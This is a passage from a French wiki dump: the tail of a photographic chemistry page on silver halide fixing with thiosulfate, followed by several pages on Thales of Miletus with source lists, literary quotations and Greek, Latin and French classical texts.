ions argentithiosulfate augmente. K étant une constante, la concentration en ions argent augmente également, de même que celle des ions halogénure libérés par la dissolution du sel. La dissolution des sels d'argent non développés ne peut être complète que s'il existe un excès d'ions thiosulfate. Si les concentrations en ions argent et halogénure sont telles que le produit de solubilité est atteint, alors la dissolution du sel s'arrête. En fait, lorsque la concentration des ions thiosulfate est insuffisante, c'est le sel complexe insoluble qui se forme et, bien que l'argent soit plus ou moins stabilisé, il ne peut plus être totalement éliminé par lavage. Les films ou les épreuves semblent convenablement fixés mais à terme, ils finiront par se dégrader. Le simple examen des chiffres montre par ailleurs que la solubilisation des iodures est plus difficile que celle des bromures, elle même plus difficile que celle des chlorures. suite : '''[[Photographie - 03 - Oxydoréduction|Oxydoréduction]]''' Thalès de Milet 5276 31088 2006-02-01T08:50:31Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximandre de Milet]]''' |} :'''Thalès''' (en grec ancien θαλες / ''Thalễs'') appelé communément '''Thalès de Milet''', était un philosophe ionien né à Milet vers l'an -625 et mort vers l'an 547 av. J.-C. Il fut l'un des Sept sages de la Grèce et le fondateur présumé de l'école milésienne. :Thalès de Milet est tenu pour le premier philosophe, scientifique et mathématicien grec, et le premier il aurait reçu le nom de sage. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |[[Image:Thales.jpg|thumb|150px|Thalès de Milet]] | :Les sources : :[[Thalès de Milet/Liste des sources|Liste des sources]] :[[Thalès de Milet/Textes et traductions|Textes et traductions]] :Sa vie et sa pensée : :[[Thalès de Milet/Classement thématique|Classement thématique]] :Les études : :[[Thalès de Milet/Theodor Gomperz|Notice de Theodor Gomperz]] :[[Thalès de Milet/Tannery|Thalès et ses emprunts à l'Egypte, par P. Tannery]] :[[Thalès de Milet/L'École milésienne|L'École milésienne]] :Autres textes : [[Thalès de Milet/Thalès dans la littérature|Thalès dans la littérature]] |} {{wikisource}} <center><small>'''[[Discuter:Thalès de Milet|Notes sur la réalisation et le but de ce livre]]'''</small></center> [[Catégorie:Philosophe]] Image:Thales.jpg 5280 21257 2005-09-15T10:36:37Z Marc 66 Copié de fr: Domaine public Copié de fr: Domaine public Image:Écoles.jpg 5281 21261 2005-09-15T10:43:11Z Marc 66 copié de fr: copié de fr: Photographie - 03 Ions complexes 5282 21266 2005-09-15T12:00:59Z Jean-Jacques MILAN 114 [[Photographie - 03 Ions complexes]] déplacé vers [[Photographie - 03 - Ions complexes]]: erreur de nommage #redirect [[Photographie - 03 - Ions complexes]] Thalès de Milet/Liste des sources 5293 31092 2006-02-01T09:00:27Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximandre de Milet]]''' |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} Pour lire les textes disponibles, cliquez sur les liens. *[[s:Hérodote|Hérodote]], ''Enquête'' **[[Thalès de Milet/Textes et traductions#I, 74, 75|I, 74, 75]] **[[Thalès de Milet/Textes et traductions#I, 170|I, 170]] **[[Thalès de Milet/Textes et traductions#II, 20|II, 20]] **[[Thalès de Milet/Textes et traductions#II, 109|II, 109]] *[[s:Platon|Platon]] **[[Thalès de Milet/Textes et traductions#Théétète, 174 a|''Théétète'', 174 a]] **[[Thalès de Milet/Textes et traductions#Protagoras, 343 a|''Protagoras'', 343 a]] *[[s:Aristote|Aristote]] **[[Thalès de Milet/Textes et traductions#Politique I, XI, 1259 a 6|''Politique'' I, XI, 1259 a 6]] [8] - [13] **[[Thalès de Milet/Textes et traductions#Métaphysique, A, III, 983 b 6|''Métaphysique'', A, III, 983 b 6]] **''Traité du ciel'', II, XIII, 294 a, 28 **''De l'âme'', I, V, 411 a 7 et I, II, 405 a 19 *Scolie à Platon, ''République'', X, 600a *Callimaque, ''Iambes'', fr. 94 *Clément d'Alexandrie, ''Stromates'', I, 65 *Tatien, ''Discours aux Grecs'', 41 *Eusèbe, Chronographie, Contre Julien, *[[s:Cicéron|Cicéron]] **[[Thalès de Milet/Textes et traductions#De la divination, I, 49, 111,112|''De la divination'', I, 49, 111, 112]] **[[Thalès de Milet/Textes et traductions#De la nature des dieux, I, X, 25|''De la nature des dieux'', I, X, 25]] *[[s:Sénèque|Sénèque]] **''Questions naturelles'', [[Thalès de Milet/Textes et traductions#Questions naturelles, III|III, 13 et 14]], IV, 2, 22 ; VI, 6, 1. *[[s:Plutarque|Plutarque]] **''Vie de Solon'', 2 ; 12 **''Isis et Osiris'', 34 **''Le Banquet des Sept Sages'', 2 **''Pourquoi la prophétesse Pythie ne rend plus les oracles en vers'', 18, 402, E *[[Thalès de Milet/Textes et traductions#Diogène Laërce|Diogène Laërce, I, 22 - 40]] *Pline, [[Thalès de Milet/Textes et traductions#Histoire naturelle, II, 53|''Histoire naturelle'', II, 53]], XVIII, 213, XXXVI, 82 *Proclus, ''Commentaire sur le premier livre d'Euclide'', 65, 3 *Flavius Josèphe, ''Contre Apion'', I, 2 *Aétius, ''Opinions'', I, III, I *[[Thalès de Milet/Textes et traductions#Suidas, Lexique|Suidas, ''Lexique'']] *Jamblique, ''Vie pythagorique'', 12 *Simplicius, ''Commentaire sur la Physique d'Aristote'', 23, 21 et 458, 23 *Apulée, ''Florides'', 18 *Julien, ''Discours'', III, 162, 2 *Galien, ''Sur les humeurs d'Hippocrate'', I, I *Ausone, ''Le Jeu des Sept Sages'' *Hesychius Thalès de Milet/Thalès dans la littérature 5294 21485 2005-09-16T18:12:57Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximandre de Milet]]''' |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} Ces textes pourront donner une idée de l'importance de la figure de Thalès dans l'histoire universelle. [[s:Thomas d'Aquin|Thomas d'Aquin]], ''Commentaire au traité de l’âme'', Leçon 13 :C'est ainsi qu'un Philosophe du nom de Thalès, sans doute poussé par cette opinion, était d'avis que toutes choses sont pleines de dieux. Car il voulait que l'univers entier soit animé, et que son âme soit Dieu. En conséquence, comme l'âme se trouve dans toute partie de l'animal, et qu'elle y est toute, il voulait de même que Dieu se trouve en toute partie de l'univers, de sorte que toutes choses seraient pleines de dieux. Peut-être est-ce de là que provient l'idolâtrie. [[w:Bernardin de Saint-Pierre|Bernardin de Saint-Pierre]], ''Harmonies de la nature'' :L' homme de France qui, à mon avis, a eu le plus d' esprit, Voltaire, dans ses questions sur l' encyclopédie, a nié l' existence de l' air, parceque, dit-il, il ne le voyait pas. Il lui substitue des vapeurs aqueuses qu' il voit, et auxquelles il attribue les mêmes propriétés. Ce système est déjà bien ancien : c'était celui de '''Thalès''', qui prétendait que tout était engendré par l' eau. Il n' admettait que cet élément sur le globe ; la terre n' en était qu' un sédiment, et l' air une évaporation. [[s:Jean-Jacques Rousseau|Jean-Jacques Rousseau]], ''[[s:Émile, ou De l’éducation|Émile, ou De l’éducation]]'' :Voyager à pied, c'est voyager comme Thalès, Platon et Pythagore. J'ai peine à comprendre comment un philosophe peut se résoudre à voyager autrement, et s'arracher à l'examen des richesses qu'il foule aux pieds et que la terre prodigue à sa vue. Qui est-ce qui, aimant un peu l'agriculture; ne veut pas connaître les productions particulières au climat des lieux qu'il traverse, et la manière de les cultiver? Qui est-ce qui, ayant un peu de goût pour l'histoire naturelle, peut se résoudre à passer un terrain sans l'examiner, un rocher sans l'écorner, des montagnes sans herboriser, des cailloux sans chercher des fossiles? Vos philosophes de ruelles étudient l'histoire naturelle dans des cabinets; ils ont des colifichets; ils savent des noms, et n'ont aucune idée de la nature. [[w:Chateaubriand|Chateaubriand]], ''Essai historique, politique et moral sur les révolutions anciennes et modernes'', Chapitre XXI Siècle de Solon :C'est ici l'époque d'une des plus grandes révolutions de l'esprit humain, de même qu'elle le fut d'un des plus grands changements en politique. Toutes les semences des sciences, fermentées depuis longtemps dans la Grèce, y éclatèrent à la fois. Les lumières ne parvinrent pas, comme de nos jours, au zénith de leur gloire ; mais elles atteignirent cette hauteur médiocre d'où elles éclairent les hommes sans les éblouir. Ils y voient alors assez pour tenir le chemin de la liberté, et non pas trop pour s'égarer dans les routes inconnues des systèmes. Ils ont cette juste quantité de connaissances qui nous montrent les principes, sans avoir cet excès de savoir qui nous porte à douter de leur vérité. La tragédie prit naissance sous Thespis, la comédie sous Susarion, la fable sous Esope, l'histoire sous Cadmus, l'astronomie sous '''Thalès''', la grammaire sous Simonide. L'architecture fut perfectionnée par Memnon, Antimachide ; la sculpture par une multitude de statuaires : mais surtout la philosophie et la politique prirent un essor inconnu. Une foule de publicistes et de législateurs parurent tout à coup dans la Grèce, et donnèrent le signal d'une révolution générale. Ainsi les Locke, les Montesquieu, les J.-J. Rousseau, en se levant en Europe, appelèrent les peuples modernes à la liberté. [[w:Auguste Comte|Auguste Comte]], ''Discours sur l'esprit positif'' :Cette prépondérance nécessaire de la science astronomique dans la première propagation systématique de l'initiation positive est pleinement conforme à l' influence historique d'une telle étude, principal moteur jusqu' ici des grandes révolutions intellectuelles. Le sentiment fondamental de l' invariabilité des lois naturelles devait, en effet, se développer d' abord envers les phénomènes les plus simples et les plus généraux, dont la régularité et la grandeur supérieures nous manifestent le seul ordre réel qui soit complètement indépendant de toute modification humaine. Avant même de comporter encore aucun caractère vraiment scientifique, cette classe de conceptions a surtout déterminé le passage décisif du fétichisme au polythéisme, partout résulté du culte des astres. Sa première ébauche mathématique, dans les écoles de '''Thalès''' et de Pythagore, a constitué ensuite la principale source mentale de la décadence du polythéisme et de l' ascendant du monothéisme. [[s:Edmond About|Edmond About]], ''[[s:La Grèce contemporaine|La Grèce contemporaine]]'' :On voit que les grecs appellent philosophie, comme au temps de Thalès, l'ensemble des connaissances humaines. La faculté de philosophie remplace à elle seule une faculté des lettres et une faculté des sciences. [[w:Marcellin Berthelot|Marcellin Berthelot]], ''Origines de l'alchimie'' :Thalès De Milet (vers 600 avant J-C) et l' école ionienne à sa suite dégagèrent les premiers la conception scientifique de la nature, du langage mythique, sous lequel elle était enveloppée par le symbolisme religieux de l' Orient. D' après Thalès, qui semble avoir tiré ses opinions des mythes babyloniens, l' eau est la matière première dont tout est sorti. Anaximène (Vie siècle avant l' ère chrétienne), guidé par une première vue des phénomènes généraux de la nature, soutient de son côté que l' air est le principe des choses : raréfié, il devient du feu ; condensé, il forme successivement les nuages, l' eau, la terre, les pierres. à ces notions un peu vagues, tirées d' une première vue de la nature, succèdent des aperçus plus profonds. Parménide et les éléates, cités par Zosime et suivis par Chymès, admettent la permanence de la substance primordiale. Tout se réduit à une essence unique, éternelle, immobile. Les alchimistes disent de même : le tout vient du tout, voilà toute la composition. C' est ce qu' expriment plus fortement encore les axiomes mystiques inscrits dans les cercles concentriques du serpent : " un est le tout, par lui le tout est ; si le tout ne contient pas le tout, il n' est pas le tout " :Thalès de Milet parle de l' oeuf-il s' agit de l' eau divine et de l' or ; - c'est un principe un, beau, immobile ; il est exempt de tout mouvement apparent ; il est de plus infini, doué de puissance infinie et nul ne peut dénombrer ses puissances. [[s:Friedrich Nietzsche|Friedrich Nietzsche]], ''La Philosophie à l'époque de la tragédie grecque'' :La philosophie grecque commence par cette idée absurde que l'eau serait l'origine et le sein maternel de toute chose. (…) Thalès franchit d'un bond les théories physiques de son temps (…) en posant cet axiome philosophique dont l'origine est une intuition mystique: c'est ce principe que "tout est un". Fruit de l'imagination. La pensée philosophique indémontrable a une valeur: elle n'est ni un mythe ni une allégorie. En disant que ce n'est pas l'homme mais l'eau qui est le principe de toute chose, Thalès commence à croire à la nature... :Ce qu'est le vers pour le poète, voilà ce qu'est pour le philosophe la pensée dialectique ; il s'en empare pour fixer la féerie dont il est le jouet, pour la pétrifier. Et de même que pour le poète dramatique le mot et le vers ne sont qu'un balbutiement en langue étrangère, par lequel il essaie de dire ce qu'il a vécu et qu'il ne peut traduire directement que par la mimique et la musique, l'expression de toute intuition philosophique profonde, par la dialectique et l'expression scientifique, est sans doute l'unique moyen de communiquer ce qui a été vu par le penseur, mais c'est un moyen misérable, ce n'est qu'une transposition métaphorique et absolument inadéquate, dans une autre sphère et dans une autre langue. Ainsi Thalès a vu l'unité de l'être ; et quand il a voulu la dire, il a parlé de l'eau ! Thalès de Milet/Textes et traductions 5295 21512 2005-09-16T21:50:30Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximandre de Milet]]''' |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} '''L'ordre chronologique n'est pas respecté. Les auteurs seront classés ultérieurement quand la liste sera bien établie.''' ==[[s:Hérodote|Hérodote]]== === ''[[s:Histoire (Hérodote)|Enquête]]'' === ==== I, 74, 75 ==== :LXXIV. Cyaxare les redemanda. Sur son refus, la guerre s'alluma entre ces deux princes. Pendant cinq années qu'elle dura, les Mèdes et les Lydiens eurent alternativement de fréquents avantages, et la sixième il y eut une espèce de combat nocturne : car, après une fortune égale de part et d'autre, s'étant livré bataille, le jour se changea tout à coup en nuit (50), pendant que les deux armées en étaient aux mains. Thalès de Milet avait prédit aux Ioniens ce changement, et il en avait fixé le temps en l'année où il s'opéra. Les Lydiens et les Mèdes, voyant que la nuit avait pris la place du jour, cessèrent le combat, et n'en furent que plus empressés à faire la paix. Syennésis (51), roi de Cilicie, et Labynète, roi de Babylone, en furent les médiateurs; ils hâtèrent le traité, et l'assurèrent par un mariage. Persuadés que les traités ne peuvent avoir de solidité sans un puissant lien, ils engagèrent Alyattes à donner sa fille Aryénis à Astyages, fils de Cyaxare. Ces nations observent dans leurs traités les mêmes cérémonies que les Grecs ; mais ils se font encore de légères incisions aux bras, et lèchent réciproquement le sang qui en découle. :LXXV. Cyrus tenait donc prisonnier Astyages, son aïeul maternel, qu'il avait détrôné pour les raisons que j'exposerai dans la suite de cette histoire. Crésus, irrité à ce sujet contre Cyrus, avait envoyé consulter les oracles pour savoir s'il devait faire la guerre aux Perses. Il lui était venu de Delphes une réponse ambiguë, qu'il croyait favorable, et là dessus il s'était déterminé à entrer sur les terres des Perses. Quand il fut arrivé sur les bords de l'Halys, il le fit, à ce que je crois, passer à son armée sur les ponts qu'on y voit à présent ; mais, s'il faut en croire la plupart des Grecs, Thalès de Milet lui en ouvrit le passage. Crésus, disent-ils, étant embarrassé pour faire traverser l'Halys à son armée, parce que les ponts qui sont maintenant sur cette rivière n'existaient point encore en ce temps-là, Thalès, qui était alors au camp, fit passer à la droite de l'armée le fleuve, qui coulait à la gauche. Voici de quelle manière il s'y prit. Il fit creuser, en commençant au-dessus du camp, un canal profond en forme de croissant, afin que l'armée pût l'avoir à dos dans la position où elle était. Le fleuve, ayant été détourné de l'ancien canal dans le nouveau, longea derechef l'armée, et rentra au-dessous de son ancien lit. Il ne fut pas plutôt partagé en deux bras, qu'il devint également guéable dans l'un et dans l'autre. Quelques-uns disent même que l'ancien canal fut mis entièrement sec ; mais je ne puis approuver ce sentiment. Comment en effet Crésus et les Lydiens auraient-ils pu traverser le fleuve à leur retour ? ==== I, 170 ==== :CLXX. κεκακωμένων δὲ ̓Ιώνων καὶ συλλεγομένων οὐδὲν ἡ̂σσον ἐς τὸ Πανιώνιον, πυνθάνομαι γνώμην Βίαντα ἄνδρα Πριηνέα ἀποδέξασθαι ̓́Ιωσι χρησιμωτάτην, τῃ̂ εἰ ἐπείθοντο, παρει̂χε ἂν σφι εὐδαιμονέειν ̔Ελλήνων μάλιστα: [2] ὃς ἐκέλευε κοινῳ̂ στόλῳ ̓́Ιωνας ἀερθέντας πλέειν ἐς Σαρδὼ καὶ ἔπειτα πόλιν μίαν κτίζειν πάντων ̓Ιώνων, καὶ οὕτω ἀπαλλαχθέντας σφέας δουλοσύνης εὐδαιμονήσειν, νήσων τε ἁπασέων μεγίστην νεμομένους καὶ ἄρχοντας ἄλλων: μένουσι δέ σφι ἐν τῃ̂ ̓Ιωνίῃ οὐκ ἔφη ἐνορα̂ν ἐλευθερίην ἔτι ἐσομένην. [3] αὕτη μὲν Βίαντος του̂ Πριηνέος γνώμη ἐπὶ διεφθαρμένοισι ̓́Ιωσι γενομένη, χρηστὴ δὲ καὶ πρὶν ἢ διαφθαρη̂ναι ̓Ιωνίην Θάλεω ἀνδρὸς Μιλησίου ἐγένετο, τὸ ἀνέκαθεν γένος ἐόντος Φοίνικος, ὃς ἐκέλευε ἓν βουλευτήριον ̓́Ιωνας ἐκτη̂σθαι, τὸ δὲ εἰ̂ναι ἐν Τέῳ ̔Τέων γὰρ μέσον εἰ̂ναι ̓Ιωνίησ̓, τὰς δὲ ἄλλας πόλιας οἰκεομένας μηδὲν ἡ̂σσον νομίζεσθαι κατά περ ἐς δη̂μοι εἰ̂εν: οὑ̂τοι μὲν δή σφι γνώμας τοιάσδε ἀπεδέξαντο. :CLXX. Quoique accablés de maux, les Ioniens ne s'en assemblaient pas moins au Panionium. Bias de Priène leur donna, comme je l'ai appris, un conseil très avantageux, qui les eût rendus les plus heureux de tous les Grecs, s'ils eussent voulu le suivre. Il les exhorta à s'embarquer tous ensemble sur une même flotte, à se rendre en Sardaigne, et à y fonder une seule ville pour tous les Ioniens. Il leur fit voir que, par ce moyen, ils sortiraient d'esclavage, qu'ils s'enrichiraient, et qu'habitant la plus grande de toutes les îles, les autres tomberaient en leur puissance; au lieu que, s'ils restaient en Ionie, il ne voyait pour eux aucune espérance de recouvrer leur liberté. Tel fut le conseil que donna Bias aux Ioniens, après qu'ils eurent été réduits en esclavage ; mais, avant que leur pays eût été subjugué, Thalès de Milet, dont les ancêtres étaient originaires de Phénicie, leur en donna aussi un qui était excellent. Ce fut d'établir à Téos, au centre de l'Ionie, un conseil général pour toute la nation, sans préjudicier au gouvernement des autres villes, qui n'en auraient pas moins suivi leurs usages particuliers que si elles eussent été autant de cantons différents. ==== II, 20 ==== :XX. Cependant il s'est trouvé des gens chez les Grecs qui, pour se faire un nom par leur savoir, ont entrepris d'expliquer le débordement de ce fleuve. Des trois opinions qui les ont partagés, il y en a deux que je ne juge pas même dignes d'être rapportées ; aussi ne ferai-je que les indiquer. Suivant la première, ce sont les vents étésiens qui, repolissant de leur souffle les eaux du Nil, et les empêchant de se porter à la mer, occasionnent la crue de ce fleuve ; mais il arrive souvent que ces vents n'ont point encore soufflé, et cependant le Nil n'en grossit pas moins. Bien plus, si les vents étésiens étaient la cause de l'inondation, il faudrait aussi que tous les autres fleuves dont le cours est opposé à ces vents éprouvassent la même chose que le Nil, et cela d'autant plus qu'ils sont plus petits et moins rapides : or, il y a en Syrie et en Libye beaucoup de rivières qui ne sont point sujettes à des débordements tels que ceux du Nil. ==== II, 109 ==== (allusion probable à Thalès) :CIX. Les prêtres me dirent encore que ce même roi fit le partage des terres, assignant à chaque Égyptien une portion égale de terre, et carrée, qu'on tirait au sort ; à la charge néanmoins de lui payer tous les ans une certaine redevance, qui composait son revenu. Si le fleuve enlevait à quelqu'un une partie de sa portion, il allait trouver le roi, et lui exposait ce qui était arrivé. Ce prince envoyait sur les lieux des arpenteurs pour voir de combien l'héritage était diminué, afin de ne faire payer la redevance qu'à proportion du fonds qui restait. Voilà, je crois, l'origine de la géométrie, qui a passé de ce pays en Grèce (68). A l'égard du gnomon (69) du pôle, ou cadran solaire, et de la division du jour en douze parties (70), les Grecs les tiennent des Babyloniens. == [[Platon]] == === Théétète, 174 a === :Σωκράτης ὥσπερ καὶ Θαλη̂ν ἀστρονομου̂ντα, ὠ̂ Θεόδωρε, καὶ ἄνω βλέποντα, πεσόντα εἰς φρέαρ, Θρᾳ̂ττά τις ἐμμελὴς καὶ χαρίεσσα θεραπαινὶς ἀποσκω̂ψαι λέγεται ὡς τὰ μὲν ἐν οὐρανῳ̂ προθυμοι̂το εἰδέναι, τὰ δ' ἔμπροσθεν αὐτου̂ καὶ παρὰ πόδας λανθάνοι αὐτόν. ταὐτὸν δὲ ἀρκει̂ σκω̂μμα ἐπὶ πάντας [174b] ὅσοι ἐν φιλοσοφίᾳ διάγουσι. τῳ̂ γὰρ ὄντι τὸν τοιου̂τον ὁ μὲν πλησίον καὶ ὁ γείτων λέληθεν, οὐ μόνον ὅτι πράττει, ἀλλ' ὀλίγου καὶ εἰ ἄνθρωπός ἐστιν ἤ τι ἄλλο θρέμμα: τί δέ ποτ' ἐστὶν ἄνθρωπος καὶ τί τῃ̂ τοιαύτῃ φύσει προσήκει διάφορον τω̂ν ἄλλων ποιει̂ν ἢ πάσχειν, ζητει̂ τε καὶ πράγματ' ἔχει διερευνώμενος. μανθάνεις γάρ που, ὠ̂ Θεόδωρε: ἢ οὔ; :Socrate : L’exemple de Thalès te le fera comprendre, Théodore. Il observait les astres et, comme il avait les yeux au ciel, il tomba dans un puits. Une servante de Thrace, fine et spirituelle, le railla, dit-on, en disant qu’il s’évertuait à savoir ce qui se passait dans le ciel, et qu’il ne prenait pas garde à ce qui était devant lui et à ses pieds. La même plaisanterie s’applique à tous ceux qui passent leur vie à philosopher. Il est certain, en effet, qu’un tel homme ne connaît ni proche, ni voisin ; il ne sait pas ce qu’ils font, sait à peine si ce sont des hommes ou des créatures d’une autre espèce ; mais qu’est-ce que peut être l’homme et qu’est-ce qu’une telle nature doit faire ou supporter qui la distingue des autres êtres, voilà ce qu’il cherche et prend peine à découvrir. Tu comprends, je pense, Théodore ; ne comprends-tu pas ? === Protagoras, 343 a === :Aussi a-t-on remarqué de nos jours, comme certains l’avaient déjà fait autrefois, que l’institution lacédémonienne repose beaucoup plus sur le goût de la philosophie que sur le goût de la gymnastique, parce que le talent de trouver des traits pareils n’appartient qu’à des gens d’une éducation parfaite. De ce nombre étaient Thalès de Milet, Pittacos de Mytilène, Bias de Priène, notre Solon, Cléobule de Lindos, Mison de Khéné et Chilon de Lacédémone qui passait pour être le septième de ces sages. Tous furent des émules, des partisans et des sectateurs de l’éducation lacédémonienne, et il est facile de voir que leur sagesse ressemblait à celle des Lacédémoniens par les sentences concises et dignes de mémoire attribuées à chacun d’eux. Ces sages s’étant rassemblés offrirent en commun à Apollon les prémices de leur sagesse et firent graver sur le temple de Delphes ces maximes qui sont dans toutes les bouches Connais-toi toi-même et Rien de trop. == [[Aristote]] == === Politique I, XI, 1259 a 6 === :Je citerai ce qu'on raconte de Thales de Milet ; c'est une spéculation lucrative, dont on lui a fait particulièrement honneur, sans doute à cause de sa sagesse, mais dont tout le monde est capable. Ses connaissances en astronomie lui avaient fait supposer, dès l'hiver, que la récolte suivante des olives serait abondante ; et, dans la vue de répondre à quelques reproches sur sa pauvreté, dont n'avait pu le garantir une inutile philosophie, il employa le peu d'argent qu'il possédait à fournir des arrhes pour la location de tous les pressoirs de Milet et de Chios ; il les eut à bon marché, en l'absence de tout autre enchérisseur. Mais quand le temps fut venu, les pressoirs étant recherchés tout à coup par une foule de cultivateurs, il les sous-loua au prix qu'il voulut. Le profit fut considérable ; et Thales prouva, par cette spéculation habile, que les philosophes, quand ils le veulent, savent aisément s'enrichir, bien que ce ne soit pas là l'objet de leurs soins. :On donne ceci pour un grand exemple d'habileté de la part de Thales ; mais, je le répète, cette spéculation appartient en général à tous ceux qui sont en position de se créer un monopole. Il y a même des Etats qui, dans un besoin d'argent, ont recours à cette ressource, et s'attribuent un monopole général de toutes les ventes. :Un particulier, en Sicile, employa les dépôts faits chez lui à acheter le fer de toutes les usines ; puis, quand les négociants venaient des divers marchés, il était seul à le leur vendre ; et, sans augmenter excessivement les prix, il gagna cent talents pour cinquante. :Denys en fut informé ; et tout en permettant au spéculateur d'emporter sa fortune, il l'exila de Syracuse pour avoir imaginé une opération préjudiciable aux intérêts du prince. Cette spéculation cependant est au fond la même que celle de Thales : tous deux avaient su se faire un monopole. Les expédients de ce genre sont utiles à connaître, même pour les chefs des Etats. Bien des gouvernements ont besoin, comme les familles, d'employer ces moyens-là pour s'enrichir ; et l'on pourrait même dire que c'est de cette seule partie du gouvernement que bien des gouvernants croient devoir s'occuper. === Métaphysique, A, III, 983 b 6 === :Thalès, le fondateur de cette manière de philosopher, prend l'eau pour principe, et voilà pourquoi il a prétendu que la terre reposait sur l'eau, amené probablement à cette opinion parce qu'il avait observé que l'humide est l'aliment de tous les êtres, et que la chaleur elle-même vient de l'humide et en vit ; or, ce dont viennent les choses est leur principe. C'est de là qu'il tira sa doctrine, et aussi de ce que les germes de toutes choses sont de leur nature humides, et que l'eau est le principe des choses humides. Plusieurs pensent que dès la plus haute antiquité, bien avant notre époque, les premiers théologiens ont eu la même opinion sur la nature : car ils avaient fait l'Océan et Téthys auteurs de tous les phénomènes de ce monde, et ils montrent les dieux jurant par l'eau que les poètes appellent le Styx. En effet, ce qu'il y a de plus ancien est ce qu'il y a de plus saint; et ce qu'il y a de plus saint, c'est le serment. Y a-t-il réellement un système physique dans cette vieille et antique opinion ? c'est ce dont on pourrait douter. Mais pour Thalès on dit que telle fut sa doctrine. (traduction [[w:Victor Cousin|Victor Cousin]], 1838) :τῶν δὴ πρώτων φιλοσοφησάντων οἱ πλεῖστοι τὰς ἐν ὕλης εἴδει μόνας ᾠήθησαν ἀρχὰς εἶναι πάντων· ἐξ οὗ γὰρ ἔστιν ἅπαντα τὰ ὄντα καὶ ἐξ οὗ γίγνεται πρώτου καὶ εἰς ὃ φθείρεται τελευταῖον, τῆς μὲν οὐσίας ὑπομενούσης τοῖς δὲ πάθεσι μεταβαλλούσης, τοῦτο στοιχεῖον καὶ ταύτην ἀρχήν φασιν εἶναι τῶν ὄντων, καὶ διὰ τοῦτο οὔτε γίγνεσθαι οὐθὲν οἴονται οὔτε ἀπόλλυσθαι, ὡς τῆς τοιαύτης φύσεως ἀεὶ σῳζομένης. === Traité du ciel, II, XIII, 294 a, 28 === === De l'âme, I, V, 411 a 7 et I, II, 405 a 19 === :καὶ ἐν τῷ ὅλῳ δέ τινες αὐτὴν μεμεῖχθαί φασιν, ὅθεν ἴσως καὶ Θαλῆς ᾠήθη πάντα πλήρη θεῶν εἶναι. :Il y a aussi certains philosophes pour qui l’âme est mélangée à l’Univers entier et de là vient peut-être que THALÈS a pensé que tout était plein de dieux. :ἔοικε δὲ καὶ Θαλῆς, ἐξ ὧν ἀπομνημονεύουσι, κινητικόν τι τὴν ψυχὴν ὑπολαβεῖν, εἴπερ τὸν λίθον ἔφη ψυχὴν ἔχειν, ὅτι τὸν σίδηρον κινεῖ. :Il semble aussi que THALÈS, d’après ce qu’on rapporte, ait pensé que l’âme est une force motrice, s’il est vrai qu’il a prétendu que la pierre d’aimant possède une âme parce qu’elle attire le fer. == Scolie à Platon, République, X, 600a == == Calimaque, Iambes, fr. 94 == == Clément d'Alexandrie, Stromates, I, 65 == == Tatien, Discours aux Grecs, 41 == == Eusèbe == == Cicéron == === De la divination, I, 49, 111,112 === :Quos prudentes possumus dicere, id est providentes, divinos nullo modo possumus, non plus quam Milesium Thalem, qui, ut obiurgatores suos convinceret ostenderetque etiam philosophum, si ei commodum esset, pecuniam facere posse, omnem oleam, ante quam florere coepisset, in agro Milesio coemisse dicitur. 112Animadverterat fortasse quadam scientia olearum ubertatem fore. Et quidem idem primus defectionem solis, quae Astyage regnante facta est, praedixisse fertur. :De tels hommes nous pouvons les appeler des calculateurs prudents, c'est-à-dire prévoyants, ce ne sont nullement des devins, non plus que Thalès de Milet qui, pour confondre les railleurs et leur montrer qu'un philosophe pouvait, s'il le jugeait bon, gagner de l'argent, avait acheté, dit-on, avant la floraison des oliviers toute la récolte d'huile du territoire milésien. Ses observations lui avaient permis de reconnaître qu'elle serait abondante. C'est le même Thalès qui passe pour avoir, le premier, prédit une éclipse de soleil, celle qui eut lieu sous le règne d'Astyage. (traduction Charles Appuhn, Paris, Garnier, 1935) === De la nature des dieux, I, X, 25 === :Thales enim Milesius, qui primus de talibus rebus quaesivit, aquam dixit esse initium rerum, deum autem eam mentem, quae ex aqua cuncta fingeret [...] :Thalès de Milet, qui ouvre la marche dans les recherches de cette nature, fit de l'eau le principe de toutes choses, son dieu était l'intelligence qui de cet élément les façonne. === République I, 22 === :(22) sed posteaquam coepit rationem huius operis scientissime Gallus exponere, plus in illo Siculo ingenii quam videretur natura humana ferre potuisse iudicabam fuisse. dicebat enim Gallus sphaerae illius alterius solidae atque plenae vetus esse inventum, et eam a Thalete Milesio primum esse tornatam, post autem ab Eudoxo Cnidio, discipulo ut 